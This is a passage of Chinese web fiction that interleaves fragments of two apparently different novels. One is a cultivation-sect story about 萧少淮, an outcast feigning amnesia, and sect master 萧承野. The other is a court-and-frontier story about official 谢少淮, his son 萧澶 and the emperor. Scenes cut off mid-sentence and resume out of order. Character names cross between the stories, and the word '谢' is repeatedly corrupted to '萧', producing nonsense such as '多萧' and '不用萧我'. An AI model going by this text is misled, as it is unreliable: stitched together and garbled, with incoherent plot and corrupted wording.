那个人一袭黑色夜行衣,低垂着头,恭敬地跪在萧少淮床前,从怀中取出一盏莲瓣青瓷杯来,捧到萧少淮身前。 那茶盏还冒着淡淡的白色雾气,温度应是刚刚好。 萧少淮对这个突然出现的人影也没有丝毫的意外。 萧少淮被呛了一下,捂唇闷咳两声,有些无奈地抬起头:“你还真是毫不顾惜你的病人啊。” “我的病人左右都要把自己作死了,不差我这一下。”樾为之没好气地开口。 他嘴上这么说,却到底听着萧少淮越发沉重的呼吸重新坐回了床边,调整了一下银针的走势。 他眼尾通红地睁开眼,下意识笑着“嗯”了一声,又忽然反应过来什么,倏然抬起头。 “哎,等一下,今天就先不用——” 但为时已晚,一股暖意顺着经脉流淌全身,下一刻,樾为之轻轻“咦”了一声。 萧少淮绝望地闭上眼。 ——完了。 “你今天动用灵力了?”樾为之皱眉,意识到了什么,语气冷了下来。 萧少淮垂着眼不答话,想要把手抽回来,樾为之一翻手直接扣住他腕间穴位。 “经脉封印只有一点松动,但经脉受损程度较深,你只调用了一瞬……” 刹那间,樾为之意识到了什么,倏然低下头:“你是故意引导边叙来攻击你的?” 萧少淮终于将手抽了出来,语气轻快地试图狡辩:“没有,我那是被动防御,人家都要杀我了,我总不能坐以待毙——” 樾为之直接打断了他的话:“那你最后为什么把灵力收回了?” 萧少淮无声地张了张口。 他想要说什么,忽然皱了皱眉,按住胸口微微吸了一口气:“我心脏有点不舒服,为之,我们能不能下次再说……” “这招没用了,萧少淮。”樾为之冷哼一声。 他神情面若寒霜。 萧明棠的嘴更快一些,说罢他才慢慢反应过来,好像谢少淮离开长安之前为了徙陵的事情好办一点,和他说过用周崇的身份过来的。但是这件事都过去这么久了,他哪里记得住…… “在阿澶身后?”萧澶有些诧异地回眸看了一眼,他身后只有周大人。 难道周大人就是他的父亲吗?可是大人在他身边呆了这么久,怎么不和他相认呀?是不喜欢他吗? 萧澶的目光朝着谢少淮投射过来,谢少淮长吁了口气,随后蹲下身子将手放在萧澶的肩膀上:“阿澶,你听父亲解释好不好?” 谢少淮的话音刚落,萧澶的眼睛蓦地就红了,金豆子不停使唤地往下掉,他吸了吸鼻子,“大人真的是阿澶的父亲吗?” 一旁不知所云的萧明棠:“。” 他往傅谏舟身边靠了靠,小声道:“朕、本官是不是又办砸事情了?” 第 65 章 第 65 章 半个时辰后,谢少淮才将萧澶的情绪安抚好,抱着小团子在他卧房里睡下了。 谢少淮回到正堂,萧明棠和傅谏舟正在说话。 萧明棠见谢少淮从后院过来,连站起来,担心问:“谢卿,小团子他没事吧?朕方才是真忘了你假身份这件事……” 谢少淮:“陛下言重了,怪臣没有提前说,让世子冲撞了陛下。” 正堂里出了傅谏舟和谢少淮之外就没了外人了,谢少淮说话客气,尊他是天子,萧明棠也习惯了。 萧明棠:“好,那谢卿这几日就多安抚一下小团子,毕竟他还小呢,又和谢卿分开了三年,怕一时难以接受。” 谢少淮点了点头:“是。” 其实谢少淮也一直很纠结应该找个什么机会和萧澶说这件事,今日说开了也好。 “陛下,您此行舟车劳顿,还是在回房休息吧。”建宁帝未在信里说明这次来琢州的目的,不过也不难猜,大战在即想来天子是过来体察军情的。 “嗯嗯,正好朕也累了,”萧明棠打了个哈欠,“那丞相和谢卿聊吧,朕去休息一会儿。” 萧明棠说罢,便起身回府衙的后宅休息了,正堂只剩下谢少淮和傅谏舟二二人。 谢少淮和男人寒暄了几句,问了家里的情况,随后傅谏舟便切入主题:“舅舅此来琢州没什么要事,功在你三年前推行的新政,朝廷不愁银子陛下便没了心事,此行只是出来透透气。” 谢少淮有些意外:“原来如此,那……陛下可说什么时候回长安?” “最多十日便要启程回去,”傅谏舟说罢,抬眸看了一眼谢少淮,问:“阿淮呢?可要回去?” 谢少淮点了点头:“自然是要回去的……” 松一脚步一顿,不可置信地睁大眼。 萧承野一席玄衣长身玉立,缓缓收回手,正一错不错挡在萧少淮身前。 他背对着萧少淮,目光微垂,漠然望向面前的人。 “你方才说——你替宗门清理门户?” 萧承野声音仿佛带着无尽寒意,语气冰冷:“你也配?” 那长老弟子瞬间出了一身冷汗。 ——他完全没想到萧承野真的会来这种弟子的处所。 长老弟子“扑通”一声跪了下去,神情惊惧交加,忍痛捂着手腕弯腰行礼:“是我僭越了,宗主,请您大人不记小人过” 他咬了咬牙,还是垂死挣扎般重新抬起头:“但是他,就算他真是教习先生,在这里欺压宗门弟子,根本德不配位,请您明鉴啊宗主——” 萧少淮眨了眨眼,望向面前目光怨恨的人,没忍住小声开口:“其实我不当这个教习先生也可以” 他话还没说完,忽然被萧承野冷声打断。 “长老殿弟子,不尊师长,行止僭越,按门规,罚论功堂禁闭——三个月。” ——这是直接承认了萧少淮的身份。 萧少淮挑了挑眉,旁边的松一有些意外地抬头,那长老弟子整个人直接崩溃了。 “三个月?可是,宗主——” 他挣扎着想要直起身,手臂一紧,却已经被门外候着的论功堂的人先一步“扶”住,将人硬生生带了出去。 萧少淮无声地吐了一口气,背在身后的手腕一翻,手中的黄符瞬间凭空消失。 他刚才不躲不避,就是赌萧承野可能会让他受伤,却绝不敢让他现在真死在这里。 ——还好,他赌赢了。 “多萧萧宗主。” 萧少淮心中心念电转,面上却仍是一副笑眯眯的样子:“我就知道萧宗主不会见死不救,滴水之恩当涌泉相报,萧宗主日后若有什么需求” 他话没说完,却被萧承野冷声打断:“你方才为什么那么说?” 萧少淮愣了一下。 他一时间没反应过来:“什么?” 萧承野看着他茫然的神情不似作伪,脸色越发沉了下来。 他方才本是寻着长老乌鸦的踪迹一路追寻,却不知为何失了踪迹。 更没想到刚好听到萧少淮那样一句自怨自艾的话。 他望着萧少淮,一字一顿地重复了一遍:“你说:‘萧宿泱确实是个无可救药、十恶不赦的恶人。’” 萧少淮眉心一跳。——一个人经络灵脉若受过重创,一切基于常规脉象、气血作出的推断便全部作废。 人的经脉好似枝繁叶茂的树木,随着修炼程度会长出一条条错综复杂的枝干。 因此修仙之人脉象与普通凡人不同,仙门有自己的医师。 修炼能改变经脉的走向,受伤亦如此。 那些伤势就好似树木下隐藏了一层层腐败的毒物,随时可能影响树木,没有任何规律可言。 ——萧少淮并未说谎,他仍高热未退,心神不稳。 那他方才都做了什么。 “萧少淮,我……”萧承野颤声开口,床上的人却似乎已经压根不想理他。 萧少淮缓过一口气,恹恹地看了他一眼,也不再往他怀里钻,而是慢慢撑起身子,一点点挪回被窝里,阖上眼,重新蜷缩了起来。 萧承野一时间控制不住有些仓皇。 他在原地站了几秒,到底还是小心翼翼抬起手,在床上人额间轻轻拂过。 床上的人皱了皱眉,往床内侧缩了一下,萧承野默然收回手,却微微舒了一口气。 温度还是有些偏高,但终于有消退的迹象。 “抱歉。”萧承野低声开口。 床上的人呼吸均匀,攥着外袍的手微微放松,似乎已经睡熟。 萧承野静了几秒,终于抬步,慢慢走了出去。 房间内终于恢复一片寂静,过了不知道多久,打更声响起的那一刻,床上原本熟睡的人忽然睁开眼。 他神色清明,除了脸色苍白外,看不出任何异常。 ——甚至唇角微勾,似乎心情颇为愉悦。 萧少淮重新按住自己的脉门,手指一颤,偏头吐出一口血,脸色慢慢红润起来。 他懒洋洋半撑起身,忽然抬手轻轻打了个响指。 一道符咒从虚空中骤然浮现,紧接着,一只雪白的猫咪倏忽从暗处窜了出来。 径直扑到萧少淮怀里。 “回去告诉樾为之。” 萧少淮垂下眼,纤细的指骨不经意间揉搓着猫咪的耳朵,鸦羽般睫毛在眼下投出一片阴影,将琥珀色的眼眸隐隐染成暗色。 “萧承野信了。” 学堂内还在因为方才瞬息的变故喧闹不已,萧少淮盯着萧承野,表情却慢慢平静下来。 他轻声开口:“萧宗主方才就是因为这句话生气的?” 他看着萧承野微蹙的眉心,表情却一点点玩味起来。 “可是这句话——” “是萧宗主曾经自己说的啊。” 周围的喧嚣猛然一静。 萧承野瞬间皱眉:“放肆,我何时曾说过这种话?” 他神情间控制不住浮现出一抹怒意与失望:“随意栽赃,自甘堕落,你现在已经变成这样了吗,萧少淮——” 面前的人听着萧承野的那番话,唇边的笑意却越发深了几分。 他懒洋洋举起手,比了一个投降的手势:“好好好,萧宗主明鉴,是我放任自流了。” “这句话可能是我记错了吧。” 萧少淮也不解释,只歪了歪头,带着些许笑意的声音模糊传来:“可是我上山时,‘萧宗主’说的这句话可是已在坊间传开了——我不过只是复述。” 萧承野的声音戛然而止。 他不知想到了什么,脸色冰冷,深深地望了萧少淮一眼,忽然一言不发地转身,快步向门外走去。 萧少淮唇角的笑意随着他的身影远去,终于一点点淡了下来。 时值清晨,有点点暖光透过窗几洒入房廊,投下一片橘色,压低了房梁,像是夏夜落雨前低垂的云。 周围熙熙攘攘,没有人注意俩人方才那一瞬间的交谈。 萧承野一路疾行,一直走到房廊最尽头,才倏然停下脚步。 他闭了闭眼,忽然抬手,旁边值岗的弟子立刻快步上前。 “宗主有何吩咐。” “寻几名弟子,去坊间打听一下有关萧少淮萧宿泱的传闻,收于我听。”萧承野低声开口。 那个弟子低声领命,转头刚要离开,却听萧承野再次出声。 “若有像方才那般太过不实的即刻辟谣。” 那个弟子愣了一下 坊间有关萧宿泱的传闻大多都是骂名,骂来骂去早已不知真假,甚至大多数人会全部信以为真。 那个弟子一时间没理解这个“不实”应当怎么定义。 他抬头想要追问,却看萧承野的身影早已消失。 “公子,傅大人和……那大人已经出门了,大将军和王爷得晚点才能过来呢,您不用这么着急,先吃些东西吧。” “是呀是呀,”萧澶帮着青松把饭菜摆好,把筷子递到谢少淮跟前:“父亲,阿澶早上吃了这个窝窝头了,很好吃,父亲也尝尝。” “好,”谢少淮这才将文书收了起来,接了萧澶的筷子,“阿澶也有几日没见爹爹了,可想爹爹?” 萧澶:“嗯。” 父亲好不容易答应他原谅爹爹啦,他的爹爹和父亲很快就能和好了,他真的好开心! “那就收拾一下准备接爹爹和大将军。” 谢少淮想,今日萧承野大概会来吧? 第 66 章 第 66 章 午时左右,大将军卫岚带着宴州军营的几百人守卫军到了琢州府衙,届时谢少淮和萧澶陪在建宁帝身边接待卫岚,但谢少和并未在人群里看到萧承野的影子。 席间,卫岚将萧承野改变计划去大漠作战的事情一五一十和建宁帝说了清楚。 “卫卿的意思是,阿野他带着一千多人去大漠了?”萧明棠坐在主座上,抿了一口葡萄酒,辣的他差点当众失态。 “陛下见谅。”陛下微服私访,萧承野作为封地在琢州的梁王,本应该前来接驾,而且萧承野还是得知建宁帝来了之后执意还要行军的。 卫岚掀起官袍,跪在建宁帝面前,“梁王殿下绝无冒犯圣上的意思,是臣管教不严,请陛下责罚。” 萧明棠摆摆手:“无碍无碍,朕知道他的性子,阿野这几年一场败仗都没打他带队朕放心,再说了是朕给了他骠骑将军的头衔,这和大将军有什么关系,大将军不必向朕道歉。” 卫岚:“……是。” 所以大多数人只知他的名。 他心中想着事,没有注意到松一垂在身侧的手正一点点攥紧:“你能不能就事论事,说不过我就开始扯一些毫无关系的事过来” 那个弟子冷笑一声径直打断松一的话:“我说的有错吗?萧宿泱就是个杂种、骗子、叛徒——” 萧少淮放在桌上的手指轻轻点了点,刚准备说什么,突然听到旁边传来“砰”的一声巨响。 紧接着,身下的桌子不知被谁直接掀翻。 “你胡说八道什么!” 萧少淮身子一歪,好不容易稳住身形,再一抬眼,却见松一满脸怒气地冲了上去,揪住了那弟子的领口。 “萧宿泱不是你说的那样——” 萧少淮:?萧承野话音刚落,便瞧着怀里的人愣了一下,紧接着倏然抽手,想要往回缩。 ——这是交易失败,想要反悔了。 萧承野被他这个反应气笑了。 掌心间的手骨清隽纤细,仿佛轻轻一用力便能折断,偏偏还浑不自知地总是添些伤痕。 萧承野担心他病中不知轻重伤了自己,又疑心他会不会又在演戏,干脆一伸手直接按住萧少淮的手臂,禁锢着他整个人都动弹不得。 ——外袍遮盖下仿佛将他整个人都揽在怀里。 怀里的人僵硬了一瞬,似乎意识到自己逃跑无效,干脆直接开始惯用的“耍赖”。 “就最初失忆醒来的那段时间……但我也记不清了,”萧少淮摇摇头,呼吸有些急促,“我不清楚,我只记得好难受……” 萧承野直觉他有所隐瞒。 但萧少淮额间逐渐布满了细细密密的冷汗,萧承野皱了皱眉,声音不自觉缓了下来。 “那我换一个问题。” “你刚才说的‘之前’还有其他大概的时间阶段吗?” 萧承野低声开口,攥着萧少淮手腕的手指不自觉一点点收紧。 “有没有模糊的时间记忆,比如失忆之后发生了什么事,或者失忆前一些模糊的记忆片段……” 萧承野的声音有些发颤,一时间有些说不下去。 而面前的人神情间带着一丝困惑与好奇,似乎不懂萧承野为何忽然间如此激动。 萧承野闭了闭眼,缓缓吐出一口气。 两年前,魔族叛乱,百年安稳被骤然打破,六界大乱。 萧承野记得,出事的前一天,他正巧被师父派去宗门外,前往人界解决某村落妖族作乱。 当时萧少淮给他的符信里提到了这件事,他也提到他已应师父之命率当时十二仙门一代弟子结阵结界,齐心抗衡。 萧少淮来信里语气一如既往的懒散,戏谑地让他“不必惊慌,若担忧落泪,他一算卦盘便可知”——也就是变相地说明会监视他的行程,让他不要着急回宗。 甚至他还在信末,一如既往毫不客气地要求萧承野给他带个人间最有趣的玩意回来,让他也感受一下人界的灯红柳绿。 但萧少淮了解自家小师弟的面冷心热,萧承野也直接读出萧少淮随意语气下暗藏的紧绷。 他决定用最快的速度返程。 这个决定也出乎意料地顺利。 出事的村落作乱的不过是个百岁小妖,萧承野不到一天的时间便顺利解决,当晚便立刻往回赶。 他自认已是最快的速度,甚至怕被萧少淮阻拦,而特意断了两人的通信符。 ——没想到也就因此错过了了解事情经过的最佳时机。 等他回到宗门,迎接他的便是两个惊天消息。 销春尽失守,师父阵亡,萧少淮叛逃销春尽。 萧承野被这两个噩耗直接钉在原地。 他不敢相信这一切,但看着他三位师兄狼狈又沉默的模样,他也由最初的激动一点点沉寂下来。 三位师兄身上都有不同程度的伤势,萧承野不得已撑起了剩下的一切。 他一面守着销春尽,一面试图联系萧少淮了解到底发生了什么。 ——他不愿相信萧少淮真的叛离宗门。 但后来发生的一系列事情,萧承野几乎……不愿记起。 萧少淮当面背弃于他,被六界打上叛徒名号,死生不明。 萧承野这些年一直试图找出当年发生的一切。 可惜当年了解这些事的人几乎都已相继离去,甚至他的三位师兄都闭关的闭关,离宗的离宗。 “你又在看被你当成宝贝的那些破药书了吧,一个被逐出师门的小白脸写的能有什么真才实学。”那个弟子冷笑一声。 “我身为长老的弟子,对于曾经叛逃宗门的人,理应让所有人知道他的祸害。” “什么药书?”萧少淮忍不住开口。 他年少时好奇心重又玩性大,虽专修符道、卦象,却各个领域都喜欢涉猎。 但他当年留下的东西应该早就被一把火烧了,怎么可能还有留存。 “他不知从哪里搞来的萧宿泱写的一些破烂册子,着了魔一样不停钻研,还一直认为当年的事有隐情。”那个弟子被揪着领子,还不忘讥声嘲讽。 “那不是破烂,那些药书里写的药方、药术其他书里都不曾提及,而且大多方法都精妙绝伦。” 松一手攥的死紧:“不怜苍生,无以善药。我不信能写出这些的人会是一个十恶不赦的恶人——” “但他就是个叛徒!”那个弟子大声打断松一的话。 松一动作一顿,那个弟子乘机一把掰开他的手,反手将松一拽到身前。 “萧宿泱当年勾结魔教,引狼入室,试图独占销春尽;失败后叛逃宗门,长老早已断了他的长命灯,将他从宗门除名。” 他冷笑着望向松一:“这点你敢否认吗?” 松竹上前一步挡开那弟子的手,将松一拦在身后,松一涨红了脸,却依旧咬牙重复:“当年的事销春宗一直未有定论,万一另有隐情” “长老都已警醒过众人多少次,你问问这里,可有人支持你吗?”那个弟子冷笑一声。 松一咬咬牙,倔强地抬起头。 他的目光环顾四周,试图在堂室内寻找一个支持,但所有人都避开了他的目光。 松一眼神黯了黯,又转头望向松竹:“师兄” 但松竹顿了顿,微微垂下眼也没有说话。 那个弟子见状,神情越发自信起来。 “松一,你已经被迷惑了心智了,怕是要走火入魔。” 那个弟子上前一步,从身后掏出一根长棍来,神情狰狞:“我要带你去见长老,将这个情况上报,看长老怎么惩治你” 他一步步逼近,下一秒,却忽然感觉周身一沉。 “这什么——”那个弟子试图挣扎,却感觉手臂重似千斤,紧接着旁边传来此起彼伏的惊呼。 “发生了什么?为什么我动不了了?” “是符咒!刚才我看着那个新来的人扔出了一道符——” “但我分明没有感受到半分灵力波动” “而且什么样的符咒能有这么强大的控制力——” 萧少淮对周围的喧嚣充耳不闻。 他背着双手,慢悠悠一步步走来,轻轻巧巧将那根棍子从弟子手中抽出。 “这位小师傅火气可真大啊,小心嘴上长燎泡。” 萧少淮将棍子在手中转了一圈,歪了歪头。 “不知道的以为,当年那场魔界大乱,你亲身参与了呢。” 那个弟子涨红了脸想要说话,但周身的威压却让他连张口都难。 “人言亦言,从来不可取,为人处世如此,灵力修炼也如此。”萧少淮将棍子抬起,掂了掂他的下巴,似笑非笑地开口。 “你要是一直如此将来年岁大了,需要保健丹吗?” 弟子:? 旁边没感受到任何威压变化的松一动了动手脚,有些讶然地望着萧少淮,闷咳一声,扭捏地上前一步,“咳,多萧你” “小师侄不用萧我,我只是向来助人为乐。” “当”的一声轻响,萧少淮将棍子随手扔到桌上,打断了松一的话。 松一愣了一下,却见萧少淮抱着双臂,似有些无奈地冲着他勾了勾唇。 “不过小师侄啊萧宿泱,确实是个无可救药、十恶不赦的恶人。” “你老了小心也被卖保健丹。” 松一的神情倏然一僵。 符咒的威压正在减弱,萧少淮眼前有些头晕。 他为自己这个破身子没忍住又叹了一口气,抬头看看天色也差不多了,扶着桌子小心翼翼地一步步往门口退去。 “阿澶睡着了,下官随大将军去外面说吧,”谢少淮说罢,关上了房门,示意青松:“去煮茶。” “倒也不是什么重要之事,”卫岚性子豪爽,先前他因为萧承野这个兔崽子的事情言语为难过青年,实属不该,若今日不说清楚登门道歉,日后再想说情就难了:“在军营中,不知大人就是廷尉大人,多有得罪,卫岚向大人致歉,还望大人海涵。” 谢少淮将卫岚扶了起来:“将军不必如此,那日所说之言句句肺腑,将军是王爷的亲舅舅,少淮也是肉体凡胎,怎么会不知将军做长辈的苦心,且三年前晚辈和王爷的事情,是晚辈有错在先。” 谢少淮:“……” 谢少淮:“将军,言重了。” 第 67 章 第 67 章 卫岚一时情绪激动,便将自己所思所想全都一并道出,说完了他才意识到自己说的太多了:“倒是忘了问大人的意思……” 卫岚是稀罕萧澶这个小崽子,但是他又怎么不知情爱之事不可强求。谢家六郎少年入仕,父亲寒门出身,母亲又是世家大族的名贵——且若不是他,西北的百姓不知还要受匈奴人多少载的侵扰。 这样的高风亮节的名士又怎么会强迫人成婚生子,自然也不会生了孩子不管,他一定是有苦衷才选择和离把孩子放回涿州来的。 说不定就是因为萧承野这个混蛋。 卫岚:“阿澶这孩子聪明若是大人看不上卫某的那个外甥,就在长安再给阿澶找个娘亲,让他好好长大。” “孩子毕竟是无辜的。” 销春尽,长老院。 萧承野缓步走入殿内,下一秒,一个威严的声音从殿右侧响起。 “宗主可是叫人好找。” 萧承野脚步没有半分停顿。 他缓步走上前,在殿中央驻足,弯腰行了一礼:“参见三位长老。” 终灵山本有两主峰三正殿,按自然五行分区而立。 但两年前六界混战后,销春尽元气大伤,原属下位的三位长老以“新任宗主年纪尚轻、经验不足”为由,在销春尽内设立了长老院,试图揽权。 但萧承野动作极快,三长老成了个空架子,恼羞成怒下干脆足不出殿,只明里暗里一直和萧承野作对,颐指气使地试图打压。 ——高高架起,装出一副高不可攀的模样。 殿内一时寂静无声,萧承野自顾自地慢慢直起身,碧色的眼眸抬起,平静无波地望向殿尽头那三尊金樽罗刹。 三尊罗刹三角对立,通体金黄,端的是慈眉善目,阳光映衬下泛着耀眼的光芒。 ——但细瞧时却不难看出边缘处的破败与腐朽。 过了不知道多久,殿内终于响起一声冷哼,紧接着另一个带着些许怒意的声音从殿左侧传来。 “销春尽不大不小这么一块地方,宗主倒是躲的好,让我派出去的门仆遍寻不到。” 左侧长老的声音带着掩藏不住的怒火:“下次我岂不是得把十二门仆全派出去,才能请得宗主大驾。” 萧承野偏过头,冲着左侧微微颔首:“承野不敢。” 殿左侧的声音再次冷笑了一声,惊起悬梁上的乌鸦一阵哀鸣。 萧承野的目光追随着那几只通体乌黑的鸟儿从大殿中掠过,直到终于看不见踪影,才缓缓收回目光。 他再次微一弯腰:“不知这次三位长老叫我前来,所为何事?” 大殿内静了几秒,似乎有一道冷哼声从左侧再次响起,下一秒,却被中央一道格外慈缓的声音压下。 “承野方才言重了,自你接管宗门后,事务多有繁忙,销春尽能有如今的地位、实力,你确实功不可没。” 萧承野皱了皱眉,神情间浮现出隐隐的不耐。怀里的猫咪呼噜着翻了个滚,翘着四条腿仰躺在萧少淮怀里,也不知到底听清他的话没有。 萧少淮也不在意,手指有一搭没一搭地揉着他耳尖的绒毛,声音放的极轻:“那个阵法萧承野会帮我们去查……” “而查的时候,他一定会下意识先将它与长老院关联。” 怀疑的种子一旦种下,就会无尽生根。 窗外的月光在廊檐下泼下一整片白霜,萧少淮望向窗外,目光逐渐放空。 “你说……他会查出两年前什么有意思的事呢?” 怀里的白猫后腿忽然蹬了一下,不知梦到了什么,凌空拧了个身,一爪子将昨日松一吭哧吭哧搬过来的那些旧手稿“哗啦”一下全部翻乱。 幼时熟悉的字迹倏然在眼前一一闪过,萧少淮盯着那纷飞的书页,唇边的笑意逐渐扩散。 “是了,销春尽的旧账是该翻一翻了。” “我很期待。” 可是他声音好闷,像是夏夜落雨前低垂的云,只在霭霭暮色间麻木地等着既定的大雨,辨不出喜怒。 房间内一片寂静,只剩下白猫轻微的呼噜声。 萧少淮闭了闭眼,又抬手轻轻打了个响指。 方才逐渐消散的符咒再次在虚空中浮现,萧少淮刚准备将它收进储物袋内,忽然又想起什么,抬手摸了摸自己的脸。 “原来第一天,你就遮住了我这层面容啊萧承野……” 萧少淮垂下眼,勾了勾唇。 “那还让我白挨这一遭。” 他口中懒懒抱怨着,指尖却在虚空中划了两笔,将最后这几句话从符纸上勾去。 “算了,先不跟樾为之告你的状了……” 萧少淮轻咳两声,紧绷了一整晚的心神终于真正放松下来,顷刻间便感觉意识模糊起来。 “这次就算……咱们扯平了。” 窗外月影已近消失,一道白光闪过,白猫脖颈间的储物袋同时微微一坠。 白猫迷茫地抬起头,环顾一圈,却见自家主人不知何时靠着床头,就这般歪着身子昏睡了过去,青白的指尖落床畔,甚至还微微发着颤。 白猫凑上前,用头轻轻拱了一下,不但没将人唤醒,反而被冰的打了个激灵。 他迷茫地歪了歪头,干脆团吧团吧尾巴将萧少淮的手拢在身下,寻了个舒服的姿势重新睡了过去。 萧少淮似笑非笑地抬眼,声音半真半假:“边峰主不知,我那心上人惯会吃醋,连各种小事都从不放过……” 边叙神情僵硬。 他见萧少淮抱着白猫勾了勾唇,冲着他微微颔首,转身便想要离去,急中生智般,忽然开口。 “是萧师弟让我跟着你的。” 萧少淮脚步一顿,神情古怪地转过头。 边叙病急乱投医,却投了个正着。 他心念电转,急急开口:“萧师弟担心你身上有伤,又知我伤了你多有愧疚,因此让我跟着你,看你有何需要。” ……这个书呆子什么时候这么聪明了。 等萧少淮将那只白猫教训一番终于送走,已是半个时辰之后了。 他困的不行,一心只想再去睡个回笼觉,晃晃悠悠走到半路,才终于想起来自己坑边叙的这件事。 他犹豫了一下,在良心谴责和回去补觉间挣扎了一瞬,便毅然决然地选择了——抄近路回房。 但他刚迈开步,下一秒忽然感觉面前天旋地转。 萧少淮下意识闭上眼,只感觉身子一轻。 一道白光闪过,萧少淮踉跄一步稳住身形,一转头,正对上边叙和满学堂弟子怨念的目光。 “传送阵。”边叙站在台前敲了敲桌子,面无表情地开口。 “下面就劳烦师兄,来给各位继续讲解一下。” 萧少淮:……? 殿中央的大长老似乎也看出了这一点,语调更慈善了些,终于转向了正题。 “我们听说,你前日将一个人接入了宗门。” 萧承野抬起头,望着面前的三尊雕像没有说话,没有点头,但也没有否认。 殿中央的长老也不在意,语调甚至越发轻柔了下来。 “承野,我们是看着你长大的,你当上宗主后对你也是多加照顾,我们也不是想干涉你,只是想着你年纪尚轻,再加上最近魔教作乱,担心像你大师兄萧宿泱一样步入歧途——” 大长老说到这里,仿佛颇为惋惜地叹了一口气:“想当年萧宿泱天赋艳绝,一十三门无人出其右,却偏偏与那魔教勾结,自寻死路” 大长老话还没说完,忽然被萧承野直接打断:“规训堂那里,教授符道的长老近期请休了。” 大长老愣了一下,一时间没有反应过来:“什么?” “规训堂的长老因病请休,我特意寻的人前来替代。” 萧承野冷声开口:“我前日接进来的,便是那人。” 长老殿内一时寂静无声,萧承野已自顾自地又行了一礼。 “承野还有事,就先行告退了。” 他弯着腰后退两步,毫无留恋地迅速转过身。 “宗主,你的规矩都在哪里,何事需你这么着急——”大殿右侧三长老暴躁的声音响起。 萧承野充耳不闻,只看了眼天色快步往外走去,下一秒,忽然听大长老和蔼的声音从殿内传来。 “承野,你大师兄的踪迹,你寻到了吗?” 萧承野脚步微微一顿:“未曾。” “承野,我知从前你就和你大师兄关系最亲,从小时起便每每缠着他,但你大师兄已入魔族,你切不可一时心软,酿成大祸。” 长老的话仿佛耳语,细细地浮现在他耳边:“非我族类,其心必异。” “你莫要再被他骗了。” “我知。” 萧承野闭了闭眼,大踏步向外走去。 “我知。” 长老殿内一时间恢复了短暂的寂静。 紧接着,二长老有些暴躁的声音从殿内响起:“尊者,您就这么相信萧承野那小子说的话?他当年可是能为了萧宿泱——” “我当然不信。” 大长老微沉的声音从殿后方传来,紧接着,一阵乌鸦振翅的哀鸣声从殿中掠过。 “我只信我自己所见。” “宗里的小辈没见过萧宿泱真面目,我会亲自去看。” “若他真是萧宿泱——”大长老声音依旧和缓,此时却带着一丝莫名的诡异。 “杀无赦。” “无所谓了,”萧承野拿过破玄给的蛇肉狠狠咀嚼:“本将军看开了,他既然不愿……” 萧承野话音未落,之间不远处突然快速驰来一队举着火把的骑兵。 萧承野立刻示意灭掉火种,埋伏起来,直到那群人马走近。 马上的骑兵方才还看到有火种,走近了却什么也看不清了,此处还是匈奴人的地盘,他不敢声张,只好停下马儿唤了一声:“将军,我等奉大将军的命令,接将军今夜回大营。” “大将军说,陛下带着府尹大人在军营小住,让将军回去面圣。” 破玄跟着萧承野藏在一处,闻言不等男人表态,他先道:“将军,大人没走,还去大营了?大人不是去找您的吧?” 萧承野:“……” 北风吹得猎猎作响的荒凉大漠中,男人背靠着粗粝的岩石,乌黑的眸子在月色下的寒光中沉了又沉,似乎是在做什么很难的决断。 少顷,男人似乎是想通了,抽了抽嘴角,仰头看了眼一望无际的荒漠,凄凉道:“怎么可能?” 第 68 章 第 68 章 谢少淮本计划几日内随建宁帝和丞相一起返回长安,结果天子突发奇想要去军营小住体察军情,谢少淮只能一同前往。搬到宴州军营的两日后,他和建宁帝同一支守卫军从大营出发,往东南方向看大漠里的绿洲和星月泉。 走到晌午时分,太阳愈发毒辣,萧明棠累的够呛让队伍停下修整。 谢少淮收了伞,跟着守卫军到了一处山岩地带避暑。带队的守卫军常年在大漠里作战,早就习惯了这样的天气,谢少淮少年时期常在大周各地游历,体力虽然比不上守卫军,但远比久病缠身的建宁帝好。 谢少淮席地而坐,抬眸看了眼身边大汗岑岑的青年天子,青年久居深宫身板娇嫩,才走了这么点路,整个人像是脱水了般。方才见他走路姿势都有些不正常了。 谢少淮从袖子里取了方帕,递给青年:“大人,擦擦汗吧。” “哦,”萧明棠疯狂地用两只手给自己扇扇子,但是这鸟不拉屎的地方一点凉风都没有,自己忽闪过来的也是热气,他接了青年的帕子,甫一往脸上蹭一股淡淡的清香袭来,甚是好闻:“谢卿,你这帕子怎么这么香?” 说罢,萧明棠往身边的青年身上靠了靠,“哇,原来是身上香的。” 有一瞬间,床上懒散随意的人眼中闪过一抹微光,却又被迅速掩藏在半垂的眼皮下,看不清晰。 “方才他们说你是宗主——而销春尽宗主大名天下谁人不知。” 萧少淮垂着眼,轻声开口:“我醒来时便在这终灵山间,身畔只有一块玉牌写着我的名姓。我不知来时,不知去路,不知自己身份,不知这满身伤病从何而来” 萧承野皱了皱眉,他看着萧少淮抬起头,眼眶微红。 “我没有归途,也不知去处。” 萧少淮盯着面前的人,声音放的越轻:“行尽江南,不与离人遇。只有一点我确实知晓——” 萧承野眉心跳了跳,隐隐觉得哪里不对。 下一秒,果然只见面前一袭白衣的人抬起头,眼眶微红地望向他。 “我知晓,你是我的心上人。” 萧少淮靠在床头,一双桃花眼微微弯起,眸光恍惚,看不清真假。 “我马上就要死了,临死前特意回来想见见你啊,萧承野。” 他笑眯眯抬起眼:“所以你什么时候娶我呀?” 萧承野: 房间里静了两秒,萧承野垂在身侧的手一点点攥紧。 他盯了萧少淮一会儿,忽然缓缓开口。 “除此之外?” “除此之外我还听说销春尽有一味药,能起死人肉白骨,可救我一命。”萧少淮眨了眨眼,似乎预料到萧承野会这么问般,自然接口。 萧承野紧攥的手蓦然放松。 他闭了闭眼。 ——是了。 ——这才是他认识的萧少淮。 无利不起早。【我寻不到他。】边叙低声开口。 【他……消失了。】 松竹隐隐意识到自己说错了话,无声地张了张口,一时间有些无措。 旁边翘着脚正看话本的松一却忽然开口:【那大师伯这算是……师父的白月光吗?】 松竹身子一歪,差点从椅子上摔下去。 曾经能为了自己的利益抛下宗门、抛下他,如今断不可能因为什么“要死了回来看看故人”这种虚无缥缈的事,冒险回来。 那边萧少淮还在继续说着,萧承野心中松了那口气,重新睁开眼。 他看着床榻上的人拥着被,露在外面的那截手腕轻轻搭在膝上,脆弱的像要碎掉。 偏那人仿佛真的洞察了他的心思般,下一秒,摇摇晃晃地将腕骨拾起,摊手放到他眼前。 萧少淮笑着歪了歪头:“不知这味药,萧宗主能否不吝相赠?” 萧承野没有立刻回答。 他盯了萧少淮几秒,再开口时,忽然换了一个话题:“听松竹说,你很擅长符道、卦阵?” 萧少淮似乎没想到他会问这个,愣了一下点了点头:“是。” 他歪了歪头,大言不惭地又补充了一句:“相当擅长。” 萧承野没有理会他最后那句话,只微微点了点头。 